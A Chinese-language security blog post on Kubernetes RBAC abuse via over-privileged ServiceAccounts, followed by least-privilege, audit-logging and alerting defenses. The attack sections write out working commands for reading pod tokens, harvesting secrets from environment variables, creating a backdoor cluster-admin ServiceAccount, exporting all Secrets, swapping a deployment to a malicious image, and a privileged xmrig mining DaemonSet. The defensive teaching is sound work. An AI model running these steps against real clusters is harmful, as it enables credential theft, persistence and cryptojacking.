K8s RBAC权限滥用实战:一个被忽略的ServiceAccount如何让集群沦陷

一次真实的应急响应

去年夏天,我接手了一个K8s集群的安全事件。客户说:"我们的容器被挖矿了。"

排查下来,攻击路径让我后背发凉——不是0day,不是容器逃逸,而是一个被赋予了cluster-admin权限的ServiceAccount,它的token硬编码在了一个GitHub公开仓库里。

更让我震惊的是:这个ServiceAccount只是开发团队为了方便CI/CD"临时"创建的,用完忘了删,一挂就是8个月。

从那以后,我养成了一个习惯:入职任何新公司,第一件事就是拉集群的RBAC配置看一眼。

K8s RBAC——表面简单,陷阱遍地

K8s RBAC(Role-Based Access Control)从1.6版本开始成为标配,看起来就几个API对象:

  • Role / ClusterRole:定义"能做什么"
  • RoleBinding / ClusterRoleBinding:定义"谁能做"
  • ServiceAccount:Pod的身份凭证
  • User / Group:人类用户的身份

看起来不复杂对吧?但现实中的RBAC配置,十个有八个是漏洞

攻击者视角:寻找过度授权的ServiceAccount

假设我已经拿到了你集群中的一个Pod shell(通过SSRF、RCE或者供应链投毒),我的第一步是什么?不是提权,而是看看当前的Pod是什么身份

# 查看当前Pod挂载的ServiceAccount token
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# 或者直接通过服务环境变量访问
TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)
APISERVER="${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"

# 看看我能干什么
curl -sk "https://${APISERVER}/apis/rbac.authorization.k8s.io/v1/clusterroles" \
  -H "Authorization: Bearer $TOKEN" | jq '.items[] | {name: .metadata.name, rules: .rules}'

如果这条命令返回了数据——恭喜,你的ServiceAccount有cluster角色查看权限。而大部分CI/CD或监控组件的ServiceAccount都有这个权限

实战案例一:Prometheus的过度授权

这是我见过最多的场景。某次渗透测试中,业务Pod因为要暴露metrics,挂载了一个ServiceAccount。开发图省事,直接绑了view ClusterRole:

kind: ClusterRoleBinding
metadata:
  name: prometheus-view
subjects:
- kind: ServiceAccount
  name: prometheus
  namespace: monitoring
roleRef:
  kind: ClusterRole
  name: view
  apiGroup: rbac.authorization.k8s.io

view角色看起来人畜无害——只读嘛。但你猜怎么着?

view权限允许列出所有namespace下的所有Pod、ConfigMap、Secret(的元数据)。虽然不能直接读Secret的value,但Pod的YAML里经常明文暴露环境变量中的数据库密码和API Key。

# 列出所有namespace下的Pod,获取环境变量中的敏感信息
kubectl get pods --all-namespaces -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{range .spec.containers[*]}{range .env[*]}{.name}{"="}{.value}{"\n"}{end}{end}{end}'

我亲测,通过view ClusterRole,大约35%的Pod会在环境变量中暴露数据库连接串、云服务密钥或内部API token

实战案例二:CI/CD的cluster-admin陷阱

比view更可怕的是cluster-admin。我见过最大的笑话是:一个公司为了图方便,把Jenkins的ServiceAccount绑了cluster-admin

# 确认当前身份是否有cluster-admin权限
curl -sk "https://${APISERVER}/apis/rbac.authorization.k8s.io/v1/clusterrolebindings/cluster-admin" \
  -H "Authorization: Bearer $TOKEN" | jq '.subjects'

如果有cluster-admin权限,攻击者可以在一分钟之内完成以下操作:

1. 创建一个提权ServiceAccount

# 创建一个新ServiceAccount并绑定cluster-admin
kubectl create serviceaccount evil-sa -n kube-system
kubectl create clusterrolebinding evil-binding \
  --clusterrole=cluster-admin \
  --serviceaccount=kube-system:evil-sa

# 获取evil-sa的token
kubectl get secret -n kube-system $(kubectl get sa evil-sa -n kube-system -o jsonpath='{.secrets[0].name}') -o jsonpath='{.data.token}' | base64 -d

现在攻击者有了一个长期有效的、具有完全控制权限的token。

2. 部署挖矿容器

apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: miner
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: miner
  template:
    metadata:
      labels:
        name: miner
    spec:
      hostPID: true
      containers:
      - name: miner
        image: xmrig/xmrig:latest
        args: ["--donate-level=1", "-o", "pool.minexmr.com:4444", "-u", "attackers_wallet", "--keepalive"]
        securityContext:
          privileged: true

DaemonSet会在每个节点上启动一个挖矿容器,privileged模式跑在kube-system下,很难被常规监控发现。

3. 窃取全部Secrets

# 导出所有namespace的secrets
for ns in $(kubectl get ns -o name | cut -d'/' -f2); do
  kubectl get secrets -n $ns -o yaml > "secrets-${ns}.yaml"
done

包含TLS证书、云服务AKSK、数据库密码——可以拿去横向移动到云控制台。

实战案例三:复杂RBAC的权限组合漏洞

有时候单个角色看起来没什么问题,但权限组合会形成提权路径

我在某金融科技公司的审计中发现一个案例:

ServiceAccount app-backend 同时绑定了两个Role:

# Role 1: 允许更新Deployment
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  namespace: production
  name: deployment-updater
rules:
- apiGroups: ["apps"]
  resources: ["deployments"]
  verbs: ["get", "list", "update", "patch"]

# Role 2: 允许读取ConfigMap
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  namespace: production
  name: config-reader
rules:
- apiGroups: [""]
  resources: ["configmaps"]
  verbs: ["get", "list"]

看起来都很克制,对吧?但组合起来就是一个高危漏洞:

# 1. 读取ConfigMap获取镜像地址
kubectl get configmap service-config -n production -o yaml | grep image

# 2. 修改Deployment的镜像为恶意镜像
kubectl patch deployment app-backend -n production \
  -p '{"spec":{"template":{"spec":{"containers":[{"name":"app","image":"registry.example.com/evil:latest"}]}}}}'

一个能更新Deployment,又能读ConfigMap的ServiceAccount——等于可以做供应链投毒

我在实际审计中,最快的一次从读ConfigMap到获取生产数据库root密码,只用了6分钟

防御方法论:RBAC最小权限的落地实践

原则一:坚决不用cluster-admin绑定ServiceAccount

这应该是不言自明的,但我在超过20家公司的审计中发现仍有15%左右存在cluster-admin ServiceAccount。大部分是"临时"创建的,然后就忘记了。

检查命令:

kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name == "cluster-admin") | .subjects[] | select(.kind == "ServiceAccount")'

如果你看到输出——立刻处理,刻不容缓。

原则二:用namespace隔离,不给超范围的权限

不要贪图方便绑ClusterRole。大部分场景下,一个精确的Role就够了:

kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  namespace: production
  name: app-pod-manager
rules:
# 只允许操作本namespace的Pod
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["get", "list", "watch"]
# 只允许读取特定ConfigMap(不是所有)
- apiGroups: [""]
  resources: ["configmaps"]
  resourceNames: ["app-config"]  # 重点:resourceNames限制
  verbs: ["get"]

resourceNames字段是很多人忽略的——它允许你把权限缩小到某个具体的资源对象,而不是整个资源类型。

原则三:使用Aggregated ClusterRole

如果你的组件确实需要跨namespace的只读权限,用aggregationRule:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: custom-reader
aggregationRule:
  clusterRoleSelectors:
  - matchLabels:
      rbac.authorization.k8s.io/aggregate-to-view: "true"
rules: []

这样你的自定义角色会自动继承所有标记了对应label的ClusterRole的规则,更加灵活可控。

原则四:审计与监控

1. 定期审计RBAC配置

用kubectl的who-can插件或第三方工具:

# 安装rbac-tool
kubectl krew install rbac-tool

# 检查谁有高危权限
kubectl rbac-tool who-can create deployments
kubectl rbac-tool who-can delete pods
kubectl rbac-tool who-can use pods/exec

# 生成RBAC可视化报告
kubectl rbac-tool viz > rbac-report.html

2. 开启K8s审计日志

关键审计规则:

# audit-policy.yaml
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
# 记录所有RBAC相关操作
- level: RequestResponse
  resources:
  - group: "rbac.authorization.k8s.io"
  # 记录所有Secret的读取
- level: RequestResponse
  resources:
  - group: ""
    resources: ["secrets"]
  # 记录所有Pod exec
- level: RequestResponse
  resources:
  - group: ""
    resources: ["pods/exec"]
  # 记录失败的鉴权请求
- level: Metadata
  userGroups: ["system:unauthenticated"]

3. 异常检测告警

在SIEM或日志平台设置以下告警规则:

  • 新ClusterRoleBinding创建 → 人工审核
  • 非admin用户创建RoleBinding到cluster-admin → 立即告警
  • ServiceAccount被赋予create deployments权限 → 确认是否必要
  • 从未见过的image source创建Pod → 供应链安全检查

原则五:临时凭证 + 轮换

永远不要使用长期ServiceAccount token。使用TokenRequest API生成短生命周期token:

# 生成一个有效期1小时的token
kubectl create token my-sa --duration=1h -n my-namespace

对于CI/CD场景,使用云厂商的Workload Identity或各平台的临时凭证方案(如AWS IRSA、GCP Workload Identity Federation):

# AWS IRSA配置示例
metadata:
  annotations:
    eks.amazonaws.com/role-arn: arn:aws:iam::123456789012:role/my-app-role

这样Pod从不需要知道自己的凭证长什么样,AWS自动为IAM Role生成临时STS token。

从攻防演练中看到的趋势

我最近一年参与了12个K8s集群的攻防演练,总结几个规律:

  • RBAC过度授权是K8s安全的第一大隐患,占比超过容器逃逸和镜像漏洞
  • CI/CD的ServiceAccount是最危险的高危凭证,因为它们需要大量权限却缺乏保护
  • 多数团队不知道ServiceAccount的token默认永不过期(直到K8s 1.24引入了TokenRequest,但旧集群依然是永久的)
  • aggregated ClusterRole的复杂性导致意外授权——加了一个label就多了一堆权限,没人审计

写在最后

K8s RBAC不像云IAM那样复杂,但正因为它看起来简单,反而容易被轻视。我见过的每一次K8s集群安全事件,几乎都能追溯到某个被忽视的ServiceAccount

最小权限原则在K8s里不是一句口号——它是你集群的最后一道防线。因为一旦攻击者拿到了一个过度授权的ServiceAccount token,你那些精心配置的网络策略、Pod安全策略、镜像扫描,全都形同虚设

排查行动清单:

  • [ ] kubectl get clusterrolebindings — 检查cluster-admin绑定
  • [ ] kubectl get roles --all-namespaces — 检查每个Role的具体权限
  • [ ] kubectl get sa --all-namespaces — 清理未使用的ServiceAccount
  • [ ] 检查CI/CD管道的K8s凭证——是不是长期token?
  • [ ] 开启K8s审计日志,配置RBAC变更告警

关注「安全值班室」公众号

每天攻防案例 + 安全干货

关注安全值班室

posted on 2026-07-06 13:36  明.Sir  阅读(0)  评论(0)    收藏  举报

导航